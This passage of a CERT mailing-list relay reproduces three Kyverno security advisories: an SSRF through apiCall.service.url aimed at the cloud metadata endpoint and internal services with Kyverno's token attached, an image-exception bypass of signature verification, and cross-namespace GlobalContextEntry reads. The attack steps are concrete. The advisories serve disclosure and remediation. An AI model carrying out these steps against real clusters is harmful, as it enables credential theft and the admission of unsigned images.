  note: SubstituteAllInType (pkg/engine/variables/vars.go:70) marshals the whole APICall to
        untyped JSON and substitutes EVERY string value — including Service.URL — so a policy
        that templates the URL from {{ request.object... }} lets a resource submitter control it.
  ↓ (namespaced policies are hard-blocked here: apiCall.go:73-83 requires a namespace URLPath;
     a service call has URLPath=="" so path.Clean("")=="." fails -> tenant policies cannot reach this sink)
  ↓ (GlobalContextEntry bypasses even this: entry.go:177 calls Execute directly)
[Dispatch to the legacy service executor]
  file: pkg/engine/apicall/apiCall.go:85 -> :105 -> executor.go:45 Execute -> :49 executeServiceCall
  ↓
[Plain HTTP client — NO egress filter]
  file: pkg/engine/apicall/executor.go:163-168 buildHTTPClient
  code: "return &http.Client{Timeout: timeout}, nil"
  ↓
[Dangerous Sink] ← VULNERABLE
  file: pkg/engine/apicall/executor.go:137 (URL) + :154 (token) + :86 (send)
  code: "req := http.NewRequestWithContext(..., apiCall.Service.URL, ...)" / "Authorization: Bearer <token>" / "client.Do(req)"
  effect: GET/POST to 169.254.169.254 (IMDS), 127.0.0.1, or any in-cluster service, with kyverno's SA token attached


PoC

Prerequisites

    A Kyverno >= the CEL-http/scoped-token release through v1.18.2
deployed with default settings (the projected apiCall token is mounted
by the default Helm chart; no feature flag is required to use the
legacy apiCall.service executor).
    Base case: the ability to create a ClusterPolicy or
GlobalContextEntry (cluster-scoped policy-authoring privilege).
    Amplifier case: a deployed policy whose service.url is templated
from the admission resource; then any user who can submit that
resource controls the egress target.


Attack Steps

    Author a policy whose apiCall.service.url points at the cloud
metadata endpoint (base, author-controlled variant), or at a host
derived from the admission resource (amplifier, resource-submitter
variant).
    Trigger evaluation (create/update a matching resource, or wait
for the GlobalContextEntry refresh interval).
    Kyverno's legacy service executor dials the target with no
blocklist and, if a matching JMESPath/projection is set, returns
the response into the policy context / GlobalContextEntry data —
exfiltrating IMDS credentials or internal-service data. The request
also carries Kyverno's SA token (TOKEN-1).


Impact

Direct Impact

    Confidentiality: High — on a cloud pod, 169.254.169.254 returns
IAM/instance credentials; internal services (databases, admin APIs)
are readable with Kyverno's network position; the response body is
returned into the policy context, so the read is not blind.
    Integrity: Low — POST is supported (executor.go:124-135),
enabling limited write/side-effect requests to internal endpoints.
    Availability: None demonstrated.


Severity
High
7.6/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N

CVE ID
No known CVE

Weaknesses
Weakness CWE-200
Weakness CWE-522
Weakness CWE-918

Credits

    @ttzero25 ttzero25 Reporter

_____________________________________________________________________


ImageValidatingPolicy exceptions ignore
PolicyException.spec.images/allowedValues, fully bypassing image
signature verification instead of partially exempting

High
realshuting published GHSA-5cjf-wwfg-pj4c

Package
github.com/kyverno/kyverno (Go)

Affected versions
>= 1.14.0, < 1.19.1

Patched versions
1.19.1


Description

Summary

ImageValidatingPolicy (policies.kyverno.io/v1beta1) never reads
PolicyException.spec.images / spec.allowedValues. Any
PolicyException whose policyRefs + matchConditions match a resource
causes the entire resource to skip image verification, regardless
of what the exception's images/allowedValues field says. An admin
who writes an exception intending to exempt one specific image ends
up exempting every image on the matched resource(s) from signature
verification.

This breaks the documented, cross-policy-type contract of the same
PolicyExceptionSpec.Images field:
ValidatingPolicy/GeneratingPolicy/MutatingPolicy already treat it
as a partial exemption (only listed images/values are allowed; see
pkg/cel/policies/{vpol,gpol,mpol}/compiler/policy.go, fixed by PR
#16060 for issue #16053). ImageValidatingPolicy does not follow
that same contract.

Already privately reported via kyverno-security@googlegroups.com
on 2026-07-30; filing this GitHub report as a second, redundant
record on the documented private-vulnerability-reporting channel.


Root cause

pkg/image/verification/evaluator/compiler.go, compilerImpl.Compile
(~lines 151-179): when building compiledExceptions from the
[]*policiesv1beta1.PolicyException passed in,
only polex.Spec.MatchConditions is compiled and stored
(engine.Exception{Exception: polex, MatchConditions: polexMatchConditions}). polex.Spec.Images / polex.Spec.AllowedValues are never read.

pkg/image/verification/evaluator/policy.go (~lines 73-100):
at evaluation time, for each compiled exception whose
MatchConditions evaluate true (or are absent, meaning "matches
everything the policy itself matches"), the exception is added
to matchedExceptions; if len(matchedExceptions) > 0, the
function returns immediately with &EvaluationResult{Exceptions:
matchedExceptions} — skipping all validations (the actual
signature-verification CEL expressions) for the whole resource.
There is no per-image filtering against Images/AllowedValues
anywhere in this path.

Proof of Concept #1: unit test (fail-before / pass-after)

Added Test_Eval_ImageScopedException_DoesNotExemptOtherImages
in pkg/image/verification/evaluator/exception_scope_test.go:

    A policy denies any image equal to a "malicious" image
reference.
    Baseline (no exception): the malicious image is denied,
as expected.
    A PolicyException is created with spec.images:
[<trusted image only>] and no matchConditions (mirroring an
admin intentionally scoping the exception down to one image
rather than one resource).
    Evaluate the same resource, which carries BOTH the
trusted image and the unrelated malicious image, with the
exception in play.

Expected (per the field's own doc comment and vpol/gpol/mpol parity):
the malicious image should still be denied, since it was
never listed in images.

Actual: result.Exceptions is non-empty (full skip) and the
malicious image is allowed through unchecked.

=== RUN   Test_Eval_ImageScopedException_DoesNotExemptOtherImages
    exception_scope_test.go:111: BUG: PolicyException scoped to images=[ghcr.io/kyverno/test-verify-image:signed] caused a full skip of policy evaluation (result.Exceptions=[...]), even though the resource also carries an unrelated image (ghcr.io/kyverno/test-verify-image:unsigned) that the exception never listed. ImageValidatingPolicy exceptions ignore the Images/AllowedValues fields entirely and always fully exempt the resource on any MatchConditions match.
--- FAIL: Test_Eval_ImageScopedException_DoesNotExemptOtherImages (2.38s)

After a fix that filters validations by the actually-verified
image being in Images/AllowedValues
(mirroring the vpol/gpol/mpol behavior), the same test passes.


Proof of Concept #2: real cluster (not just unit test)

Reproduced against a real Kyverno v1.18.2 (Helm chart 3.8.2)
admission controller on k3s v1.35.0+k3s1,
features.policyExceptions.enabled=true,
features.policyExceptions.namespace='*'.

    ImageValidatingPolicy deny-unsigned-images requires a
valid Notary signature for images matching
ghcr.io/kyverno/test-verify-image*.

    Baseline: kubectl apply of a Pod with only image:
ghcr.io/kyverno/test-verify-image:unsigned → denied by
the admission webhook (failed to verify image with
notary cert).

    Create PolicyException allow-signed-image-only in namespace
demo-bypass, with spec.images:
[ghcr.io/kyverno/test-verify-image:signed] only, and
no matchConditions.

    kubectl apply of a new Pod carrying only image:
ghcr.io/kyverno/test-verify-image:unsigned (the :signed image
is not present anywhere in this Pod) → accepted by the webhook.

    A second Pod carrying both :signed and :unsigned containers
is also accepted.

Step 4 shows the images field on the exception has no effect
whatsoever: the unsigned image doesn't need to be paired with
the listed one, it just needs some PolicyException referencing
the policy to match via policyRefs/matchConditions.


Impact

Full bypass of a documented image signature verification control.
An admin (or anyone permitted to author a PolicyException under
the cluster's --exceptionNamespace configuration) who intends to
narrowly exempt one specific trusted image ends up disabling all
image verification for every image on every resource the
exception's matchConditions reach (which, if unset, is every
resource the policy itself matches, cluster-wide). This defeats
the supply-chain control ImageValidatingPolicy with Notary/Cosign
attestors is meant to enforce, allowing unsigned or unapproved
images into the cluster.


Suggested fix

Mirror the Images/AllowedValues enforcement already implemented
for ValidatingPolicy/GeneratingPolicy/MutatingPolicy
(pkg/cel/policies/{vpol,gpol,mpol}/compiler/policy.go, PR #16060)
in the ImageValidatingPolicy evaluator: when a PolicyException
matches, only skip verification for the images actually listed
in Images/AllowedValues, and continue verifying any image on the
resource that isn't listed.


Reporter

zanarellidev (GitHub). Independent research, no other parties
involved.


Severity
High
7.7/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

CVE ID
No known CVE

Weaknesses
Weakness CWE-863

Credits

    @zanarellidev zanarellidev Reporter

_____________________________________________________________________


globalcontext.Lib is the one CEL library not namespace-confined,
letting a tenant-authored NamespacedValidatingPolicy read
cross-namespace GlobalContextEntry data

High
realshuting published GHSA-59v6-2x73-wfg4 

Package
github.com/kyverno/kyverno (Go)

Affected versions
>= 1.16.0, < 1.19.1

Patched versions
1.19.1


Description

Summary

Kyverno's CEL policy environment registers several libraries for
policy authors. For namespaced (tenant-authorable) policy types,
each library that can reach data outside the policy's own namespace
is confined by being handed the policy's namespace.
globalcontext.Lib is the one that is not.

A tenant who can create a NamespacedValidatingPolicy in their own
namespace can call globalContext.get("<entry>", "") and receive the
full cached contents of a cluster-scoped GlobalContextEntry - including
data cached from namespaces the tenant has no RBAC to read.

I checked the 29 published advisories on this repo first. None covers
globalcontext. The three nearest are all fixed instances of this same
pattern, which is what makes this one worth reporting:

    GHSA-8p9x-46gm-qfx2 / CVE-2026-22039 - apiCall.URLPath - fixed
    GHSA-cvq5-hhx3-f99p - configMap.namespace loader - fixed
    GHSA-rggm-jjmc-3394 - CEL http.Lib - fixed, and its report
makes exactly the argument below


Details

All verified at 719d671077eb1693e1beffffa7c8a45802c297ab (2026-08-18),
current main.

1. The namespace is available at the point of registration, and is
given to the siblings.

pkg/cel/policies/vpol/compiler/compiler.go:211 - createBaseVpolEnv(libsctx libs.Context, namespace string), called at :68 and :140 with policy.GetNamespace(). In the library block at :241-295:

globalcontext.Lib(
    globalcontext.Context{ContextInterface: libsctx},
    globalcontext.Latest(),                          // <-- no namespace
),
resource.Lib(
    resource.Context{ContextInterface: libsctx},
    namespace,                                       // <-- confined
    resource.Latest(),
),
...
http.Lib(
    http.Context{ContextInterface: libs.NewMockAwareHTTPContext(
        compiler.NewLazyCELHTTPContext(namespace),   // <-- confined (the GHSA-rggm-jjmc-3394 fix)
        libsctx.GetHTTPMocks())},
    http.Latest(),
),

resource.Lib and http.Lib both take the namespace. globalcontext.Lib
sits between them and takes neither a namespace nor anything derived
from one.


2. Tenant-authorable namespaced policy types exist and compile through
this same environment.

config/crds/policies.kyverno.io_namespacedvalidatingpolicies.yaml
declares NamespacedValidatingPolicy with scope: Namespaced. Siblings:
NamespacedMutatingPolicy, NamespacedDeletingPolicy,
NamespacedGeneratingPolicy, NamespacedImageValidatingPolicy.

Compile() at compiler.go:57 takes policiesv1beta1.ValidatingPolicyLike,
which covers both the cluster-scoped and namespaced kinds, and both
reach createBaseVpolEnv. The same unconfined globalcontext.Lib
registration appears in the other compilers: pkg/cel/policies/mpol,
dpol, gpol/compiler, pkg/background/mpol/env.go:48, and
pkg/image/verification/evaluator/compiler.go:235.

3. No validator blocks it. There is no namespaced-policy admission
check rejecting globalContext.get(). The only globalcontext validation
in the tree (pkg/validation/exception/globalcontext/) validates the
GlobalContextEntry resource itself - that it declares either apiCall
or kubernetesResource - and says nothing about who may read it.

4. The data on the other side is cross-namespace by design.

GlobalContextEntry is scope: Cluster (config/crds/kyverno/kyverno.io_globalcontextentries.yaml:19), and its own CRD documentation states:

    Namespace defines the namespace of the resource. Leave empty for
cluster scoped resources. If left empty for namespaced resources, all
resources from all namespaces will be cached.

So an entry created with an empty namespace - the documented way to
cache cluster-wide data, and the reason the feature exists - holds a
cross-namespace view. The CEL surface exposed to the tenant is
globalContext.get("<entry-name>", "<projection>"), where an empty
projection returns the whole cached object
(see test/cli/test/mock-global-context/policy-vpol.yaml:15 and the
conformance tests under
test/conformance/chainsaw/validating-policies/context/).


Impact

A tenant confined to one namespace reads data from all of them,
using Kyverno's cache rather than their own credentials. This is
the same trust-boundary violation as GHSA-cvq5-hhx3-f99p and
GHSA-rggm-jjmc-3394, via the one library those fixes did not touch.

Whether the exposed data is sensitive depends on what the operator
cached. GlobalContextEntry can cache any resource kind, or the
result of an apiCall against an arbitrary API path.


Precondition, stated plainly

This requires a GlobalContextEntry to exist whose cached data spans
namespaces the tenant cannot read. A cluster using no GlobalContextEntry
is unaffected. I have scored on the assumption the feature is in use,
because caching cluster-wide data is its documented purpose; if you
weigh that precondition as non-default, Medium is a fair rescore.

I verified the code path statically and have not run this on a live
cluster. The chain above is complete and checkable by reading, and
the prior advisories in this family include kind-based PoCs that
would need only the policy body swapped.


Suggested fix

Thread the namespace into globalcontext.Lib the way resource.Lib and
http.Lib already do, and for a namespaced policy reject references
to any GlobalContextEntry whose cached scope is broader than the
policy's own namespace.

The wider point: this is the fourth instance of one pattern - a context
source reachable from a namespaced policy without the namespace attached
- after apiCall.URLPath, the ConfigMap loader, and CEL http. Each was
fixed where it was found. A single chokepoint that refuses to construct
a namespaced policy environment unless every registered library has been
given a namespace would end the class, rather than waiting for the next
instance to be reported.


Credit

Found by Brian Willows (graith.co.uk), with AI assistance (Claude).


Severity
High
7.7/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE ID
No known CVE

Weaknesses
Weakness CWE-200

Credits

    @BrianWillows BrianWillows Reporter


=========================================================

+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




